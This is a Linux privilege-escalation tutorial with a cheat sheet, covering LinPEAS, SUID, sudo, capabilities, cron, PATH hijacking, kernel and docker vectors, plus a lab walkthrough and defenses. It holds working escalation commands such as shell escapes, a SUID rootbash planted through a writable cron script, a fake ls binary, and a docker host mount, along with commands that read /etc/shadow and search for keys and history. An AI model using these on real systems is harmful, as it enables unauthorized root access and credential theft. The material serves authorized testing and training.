Linux Privilege Escalation: Complete Guide from Enumeration to Root
Linux privilege escalation from enumeration to root: LinPEAS, SUID, sudo, capabilities, cron and kernel checks — with a worked lab example and cheat sheet.
What Is Linux Privilege Escalation?
Linux privilege escalation is the process of gaining higher-level access on a Linux system than you currently have — usually going from an unprivileged user account to root. After an attacker gets an initial low-privilege shell, privilege escalation is the step that turns limited access into full control of the machine.
Privilege escalation matters because a low-privilege shell is often nearly useless on its own: you can read some files and run some commands, but you cannot read other users' data, install software, change system configuration, or pivot to the rest of the network. Root can do all of that. That is why every penetration test, Capture The Flag machine, and HackTheBox or TryHackMe lab treats privilege escalation as a core skill, and why OSCP candidates spend so much time practising it.
This guide covers the full path from enumeration to root: the manual checks, the automated tools (LinPEAS and friends), each major escalation vector with working commands, a complete worked example in a lab, and the cheat sheet you will actually use on a test.
How Linux Privilege Escalation Works
Privilege escalation follows a repeatable five-phase flow. Learn the flow once and every machine becomes the same exercise:
id, capture the proof you need (a flag, a screenshot), and remove any files you created so the next tester starts from a clean machine.Most beginners fail at phase 1: they run an exploit before enumerating, or they enumerate with one tool and stop. The escalation is almost always visible in the enumeration output — the skill is reading it.
| Common vector | Where it shows up | Tool that finds it |
|---|---|---|
| SUID binary | find / -perm -4000 | LinPEAS, manual find |
| Sudo misconfiguration | sudo -l | LinPEAS, manual check |
| Linux capabilities | getcap -r / | LinPEAS, manual check |
| Writable cron script | /etc/crontab, crontab -l | LinPEAS, pspy |
| PATH hijacking | echo $PATH + writable directory | Manual check |
| Kernel vulnerability | uname -a | LinPEAS, searchsploit |
| Docker group membership | id shows docker group | Manual check |
| NFS no_root_squash | showmount -e | Manual check |
Linux Privilege Escalation Enumeration: Where to Start
Enumeration is the whole game. Run these checks first, before you touch any exploit. They take two minutes and they find most escalations.
# Who are you, and what groups are you in?
id
whoami
# What can you run as sudo without (or with) a password?
sudo -l
# What SUID binaries exist?
find / -perm -4000 -type f 2>/dev/null
# What capabilities are set?
getcap -r / 2>/dev/null
# What is the kernel and distribution?
uname -a
cat /etc/os-release
# What cron jobs and timers exist?
crontab -l
cat /etc/crontab
ls -la /etc/cron*
systemctl list-timers --all
# What is in your PATH, and is any directory writable?
echo $PATH
ls -ld $(echo $PATH | tr ':' ' ')
# What files can you write that you should not be able to?
find / -writable -type f 2>/dev/null | grep -v proc | head -50
# What is running, and what is listening?
ps aux
ss -tulpn
# What history and environment files exist?
cat ~/.bash_history
env
Work through the output line by line. A SUID binary you do not recognize, a sudo rule for a text editor, a cron job pointing at a world-writable script, a kernel from 2021 — each one is a lead. Write the leads down, then work them one at a time.
LinPEAS: Automated Enumeration
LinPEAS (Linux Privilege Escalation Awesome Script) automates the manual checklist above and highlights the findings most likely to lead to root. It is the single most-used privilege-escalation tool in labs and exams, and it belongs in every enumeration workflow.
# Download LinPEAS from the official PEASS-ng repository
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
# Or clone the whole repository
git clone https://github.com/peass-ng/PEASS-ng
# Make it executable and run it
chmod +x linpeas.sh
./linpeas.sh
LinPEAS prints a long report. The color coding is the point: red highlights are the findings most likely to be exploitable, yellow highlights are worth a look, and the rest is context. Read the red and yellow sections first — do not scroll past them looking for an exploit to copy.
Typical LinPEAS findings and what to do with them:
sudo -l output and flags rules that allow shells, editors, or file operations. Check each allowed command on GTFOBins.Two warnings. First, LinPEAS output is noisy: a long report does not mean the machine is full of holes — most findings are informational. Second, never run a script you downloaded without checking where it came from. Download LinPEAS only from the official peass-ng/PEASS-ng repository, and verify the file before you run it on a machine you care about.
Other automated enumerators worth knowing: linux-smart-enumeration (a smaller, quieter script) and pspy, which watches running processes without root — useful when you suspect a cron job but cannot see it in the crontab.
SUID Binaries
A SUID (Set User ID) binary runs with the privileges of its owner, not the user who launched it. Most SUID binaries are owned by root, so a SUID binary that lets you run an arbitrary command — or read an arbitrary file — is a direct path to root.
Find them:
find / -perm -4000 -type f 2>/dev/null
Then check each one against GTFOBins (gtfobins.github.io), a curated list of Unix binaries that can be abused to bypass security restrictions. GTFOBins lists, for each binary, exactly which SUID, sudo, or capabilities abuse works.
Three classic examples:
# find — SUID find can spawn a shell
find . -exec /bin/bash -p \; -quit
# vim — SUID vim can spawn a shell from inside the editor
vim -c ':shell'
# nmap (old interactive mode) — SUID nmap could run commands
nmap --interactive
!sh
The workflow is always the same: find the SUID binaries, look each unfamiliar one up on GTFOBins, and test the listed technique in the lab. Do not assume a binary is safe because it looks boring — cp, find, vim, less, awk, and tar have all been privilege-escalation vectors through their SUID entries.
Sudo Misconfigurations
sudo -l is the first command you run after getting a shell, and it finds more escalations than any other single check. A sudo rule that lets you run a command as root without a password is only safe if that command cannot be abused — and many common commands can.
# List your sudo rights
sudo -l
# If a rule allows vim without a password:
sudo vim -c ':shell'
# If a rule allows find:
sudo find . -exec /bin/bash \; -quit
# If a rule allows less (or more, man, or similar pagers):
sudo less /etc/profile
!/bin/bash
# If a rule allows tar:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# If a rule allows cp, you can overwrite files as root:
sudo cp /etc/shadow /tmp/shadow.bak
The pattern to look for: any sudo rule that allows an editor, a pager, a file-copy tool, a scripting language, or a command that can execute another command. GTFOBins has a sudo entry for almost every abusable binary — when sudo -l shows you a command, search GTFOBins for it before you do anything else.
Two special cases deserve attention. NOPASSWD rules let you run the command without knowing the user's password — the most dangerous kind. And LD_PRELOAD sudo rules (where sudo preserves the LD_PRELOAD environment variable) let you load a malicious shared library into a root process — if you see env_keep+=LD_PRELOAD in the sudoers output, that is a direct vector.
Linux Capabilities
Linux capabilities split root's power into small pieces. A binary with a capability runs with that one piece of root power — and some capabilities are as good as root. getcap finds them:
getcap -r / 2>/dev/null
The dangerous ones to look for:
# cap_setuid — the binary can change its user ID: instant root
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_dac_override — the binary can read and write any file, bypassing permissions
# (use it to read /etc/shadow or overwrite a cron script)
# cap_sys_admin — broad administrative power, often enough for a container escape
# cap_net_raw and cap_net_admin — packet capture and network configuration,
# useful for sniffing credentials but not a direct root shell
Check the capability against GTFOBins the same way you check SUID binaries: GTFOBins has a capabilities entry for each abusable binary. A Python binary with cap_setuid is the classic textbook example, but the same logic applies to tar, perl, ruby, and any other binary that can run code.
Cron Jobs and Writable Scripts
Cron jobs run on a schedule, often as root. If a cron job executes a script that you can write to, you just wait for the next run and your code executes as root.
# List your own cron jobs and the system crontab
crontab -l
cat /etc/crontab
# List all cron directories and timers
ls -la /etc/cron* /var/spool/cron/crontabs/ 2>/dev/null
systemctl list-timers --all
# Check who owns each script the jobs call, and whether you can write to it
ls -l /path/to/script.sh
If you find a root cron job calling a world-writable script, the escalation is trivial:
# Overwrite the script with a reverse shell or a SUID shell
echo '#!/bin/bash' > /path/to/script.sh
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/script.sh
# Wait for the next cron run, then use your SUID shell
/tmp/rootbash -p
If you cannot see the cron jobs — for example, the crontab files are not readable — use pspy to watch the process list and catch the job when it runs. pspy needs no root privileges and shows you the exact command line of every process that starts, including cron jobs.
PATH Hijacking
When a privileged script calls a program by its bare name (for example ls or backup.sh) instead of its full path, the shell searches the directories in PATH in order. If one of those directories is writable by you, you can plant a malicious program with the same name and the privileged script will run yours.
# Print your PATH and check each directory for writability
echo $PATH
ls -ld $(echo $PATH | tr ':' ' ')
# If /home/user/bin is writable and appears before /usr/bin, plant a fake binary
echo '#!/bin/bash' > /home/user/bin/ls
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /home/user/bin/ls
chmod +x /home/user/bin/ls
# Now wait for a root cron job or script that calls `ls` — it runs your version
PATH hijacking also works through cron: a root cron job that runs a script calling bare command names is vulnerable if any PATH directory is writable. Check both the system PATH and the PATH set inside cron scripts themselves.
Kernel Exploits
A vulnerable kernel is the most powerful escalation vector and the most dangerous to attempt. The workflow is strict: identify, verify, then exploit — never the other way around.
# Identify the exact kernel and distribution
uname -a
cat /etc/os-release
# Search for public exploits matching that exact version
searchsploit linux kernel 5.10
searchsploit "linux kernel" | grep -i "privilege escalation"
Famous historical examples show the pattern: Dirty COW (CVE-2016-5195) exploited a race condition in copy-on-write memory handling, and DirtyPipe (CVE-2022-0847) exploited pipe buffer flags — both gave unprivileged users root. Both only worked on specific kernel versions, which is why the version check matters: running a DirtyPipe exploit against a patched kernel does nothing, and running the wrong exploit against a live system can crash it.
Rules for kernel exploits:
Docker and Container Breakout
If your user is in the docker group, you can run Docker commands — and Docker is effectively root, because a container can mount the host filesystem.
# Check your groups
id
# If `docker` is listed, mount the host root filesystem into a container
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Inside the container you are root on the host filesystem:
# read /mnt/etc/shadow, write an SSH key into /mnt/root/.ssh/, or add a user
The same logic applies to other container runtimes and to a writable Docker socket (/var/run/docker.sock): if you can talk to the Docker daemon, you can start a privileged container. Check ls -l /var/run/docker.sock and your group membership as part of every enumeration.
Worked Example: From Low Shell to Root in the Lab
This example runs entirely in a lab: a Metasploitable-style Linux VM at 192.168.56.101, attacked from your Kali machine. Every output below is illustrative — real output varies by distribution and version.
Step 1 — Get a low-privilege shell. You have a shell as user www-data through a vulnerable web application. Confirm where you stand:
www-data@labvm:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Step 2 — Enumerate. Run the quick checks:
www-data@labvm:/var/www$ sudo -l
User www-data may run the following commands on labvm:
(root) NOPASSWD: /usr/bin/find
That is already a lead — but work the full checklist anyway, so you practice the method:
www-data@labvm:/var/www$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/find
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/su
Step 3 — Verify the vector. The SUID find binary and the sudo rule both point at the same binary. Check GTFOBins for find: it has both a SUID entry and a sudo entry, and both spawn a shell. The vector is confirmed.
Step 4 — Escalate. Use the SUID binary directly:
www-data@labvm:/var/www$ find . -exec /bin/bash -p \; -quit
root@labvm:/var/www# id
uid=0(root) gid=0(root) groups=0(root)
The -p flag matters: it tells bash to keep its privileges instead of dropping them. Without it, bash drops the SUID privileges and you stay www-data.
Step 5 — Confirm and clean up. Verify root, capture your proof, then remove anything you created and exit the root shell. In a lab, the flag is usually in /root/:
root@labvm:/var/www# cat /root/flag.txt
flag{lab-example-only}
root@labvm:/var/www# exit
Five minutes, four commands, one GTFOBins lookup. Most lab machines work like this: the enumeration shows you the vector, GTFOBins shows you the command, and the escalation itself is one line.
Linux Privilege Escalation Cheat Sheet
| Vector | Enumerate with | Escalate with | Fix |
|---|---|---|---|
| SUID binary | find / -perm -4000 -type f 2>/dev/null | GTFOBins SUID entry for the binary | Remove the SUID bit: chmod u-s |
| Sudo misconfiguration | sudo -l | GTFOBins sudo entry for the command | Restrict sudoers to least privilege |
| Capabilities | getcap -r / 2>/dev/null | GTFOBins capabilities entry | Remove the capability: setcap -r |
| Writable cron script | cat /etc/crontab, crontab -l | Overwrite the script, wait for the run | Fix ownership and permissions |
| PATH hijacking | echo $PATH, check writability | Plant a fake binary in a writable PATH directory | Use absolute paths; fix directory permissions |
| Kernel vulnerability | uname -a, searchsploit | Matching public exploit (verified version) | Patch the kernel |
| Docker group | id | docker run -v /:/mnt --rm -it alpine chroot /mnt sh | Remove users from the docker group |
| NFS no_root_squash | showmount -e | Mount the share, create a SUID binary as root | Use root_squash (the default) |
| Writable /etc/passwd | ls -l /etc/passwd | Append a root user with openssl passwd -1 | Fix ownership and permissions |
| Wildcard injection (tar) | Check cron jobs using tar * | Craft filenames that tar interprets as flags | Quote paths; use -- in scripts |
| SSH keys | find / -name "id_rsa" 2>/dev/null | Reuse a private key found on disk | Restrict key permissions; rotate keys |
| History files | cat ~/.bash_history | Reuse credentials found in history | Disable history for sensitive sessions |
| Environment variables | env, /proc/*/environ | Reuse credentials in the environment | Never store secrets in environment variables |
| Services running as root | ps aux, ss -tulpn | Exploit a vulnerable service | Run services as dedicated users |
| LinPEAS | ./linpeas.sh | Follow the red and yellow findings | Fix the findings it reports |
Troubleshooting Linux Privilege Escalation Problems
| Problem | Likely cause | What to do |
|---|---|---|
| LinPEAS finds nothing | The vector is unusual, or LinPEAS missed it | Run the manual checklist: sudo -l, SUID find, getcap, cron, kernel |
| SUID binary is not on GTFOBins | The binary is genuinely safe, or the abuse is unknown | Check the binary's --help for shell escapes; move to the next lead |
sudo -l asks for a password | You do not know the user's password | Check history files and config files for credentials; try the password you used to get the shell |
| Exploit fails or does nothing | Wrong kernel version, or the target is patched | Re-check uname -a against the exploit's target range; try another vector |
| Root shell dies immediately | The binary drops privileges (missing -p on bash) | Use bash -p for SUID shells; check the GTFOBins entry again |
| No writable PATH directory | PATH hijacking is not available on this machine | Move on — check cron, capabilities, and the kernel instead |
| Docker socket absent | No container escape on this machine | Check id for the docker group and ls -l /var/run/docker.sock anyway |
| LinPEAS output is too noisy | The report is hundreds of lines | Search for the red and yellow sections first; grep for sudo, SUID, and writable |
Common Mistakes
pspy to watch for it.-p flag. A SUID bash without -p drops its privileges and leaves you unprivileged. Always use bash -p.Detection and Defense
Privilege escalation leaves traces, and defenders look for exactly the patterns in this guide:
sudo invocation is logged, usually in /var/log/auth.log. Unusual sudo commands — editors, pagers, and file tools run as root — stand out.setuid call, and every write to sensitive files. A rule watching /etc/passwd, /etc/shadow, and cron directories catches most of the vectors in this guide./tmp.Linux Privilege Escalation vs Windows Privilege Escalation
| Linux | Windows | |
|---|---|---|
| Most common vector | SUID binaries and sudo misconfigurations | Unquoted service paths, weak service permissions |
| Enumeration tool | LinPEAS | WinPEAS, PrivescCheck |
| Reference for binary abuse | GTFOBins | LOLBAS |
| Kernel exploits | Dirty COW, DirtyPipe (version-specific) | PrintNightmare, kernel CVEs (version-specific) |
| Container escape | Docker group / socket | Docker Desktop, privileged containers |
| First commands | id, sudo -l, find / -perm -4000 | whoami /priv, sc qc, accesschk |
The method is the same on both systems — enumerate, identify, verify, exploit — only the commands and the reference lists change.
Conclusion
Linux privilege escalation is a method, not a bag of tricks. Enumerate the system with the manual checklist and LinPEAS, match what you find against GTFOBins, verify the vector, and escalate with one tested command. The worked example shows the whole flow in five minutes; the cheat sheet is what you keep open while you practice. Work through lab machines on HackTheBox and TryHackMe until the checklist is muscle memory — then the escalation on a real assessment is the easy part.
Knowledge Check
Answers: 1. sudo -l — it shows what you can run as root and finds more escalations than any other single check; 2. LinPEAS automates privilege-escalation enumeration and highlights likely vectors — read the red findings first, then yellow; 3. find / -perm -4000 -type f 2>/dev/null, then look the binary up on GTFOBins; 4. A rule that allows an editor, pager, file tool, or any command that can execute another command — NOPASSWD means no password is needed, which makes it worse; 5. cap_setuid — abused with python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'; 6. The cron job runs the script as root on schedule, so overwriting the script runs your code as root; 7. A privileged script calls a program by bare name and the shell searches PATH — if a PATH directory is writable, you plant a malicious program with the same name; 8. Kernel exploits only work on specific versions — the wrong version does nothing or crashes the system.
Keep Learning
Frequently Asked Questions
Continue Learning
Windows Privilege Escalation Cheat Sheet: How to Escalate Privileges in Windows
Windows privilege escalation cheat sheet: WinPEAS, unquoted service paths, AlwaysInstallElevated and Potato attacks — with a worked lab example.
Ethical Hacking · IntermediateDocker Security Best Practices: How to Secure Docker Containers and Images
Secure your Docker containers step by step: hardened images, Trivy scanning, secrets, runtime limits and daemon hardening — with a worked Flask example.
Ethical Hacking · IntermediateCloud Penetration Testing: Complete Guide to AWS, Azure and GCP Security Testing
Cloud penetration testing for AWS, Azure, and GCP: the 6-phase methodology, IAM analysis, chained attack paths, and tools — with a worked lab example.
Ethical Hacking · IntermediateMalware Analysis: Beginner's Guide to Static & Dynamic Analysis in Kali Linux
Learn malware analysis from scratch: build a safe isolated lab, triage samples with static and dynamic analysis, write YARA rules, and report IOCs.
Related Security Tools
LinPEAS
LinPEAS is a script that searches for possible paths to escalate privileges on Linux hosts. It highlights findings using colors to signal potential misconfigurations or vulnerabilities.
Maintaining Accesspwncat
pwncat is an advanced, automated shell handler that extends the capabilities of traditional reverse or bind shells, offering built-in features for automated enumeration, persistence injection, and privilege escalation tracking.
Information GatheringtheHarvester
Learn how to use theHarvester in Kali Linux: gather emails, subdomains, employee names, open ports, and banners from public sources with a step-by-step first scan, API keys, and worked examples for authorized OSINT recon.
Information GatheringWazuh
Wazuh is a free, open-source security platform combining SIEM and XDR capabilities for endpoints and cloud workloads. Its architecture uses a universal endpoint agent plus the Wazuh server, OpenSearch-based Wazuh indexer and OpenSearch Dashboards-based Wazuh dashboard, with Filebeat sending alerts from the server to the indexer. Kali Linux has no Wazuh package: install only the agent through the official Wazuh APT repository on Kali, and run the manager, indexer and dashboard on a supported 64-bit Linux host such as Ubuntu 22.04 or 24.04.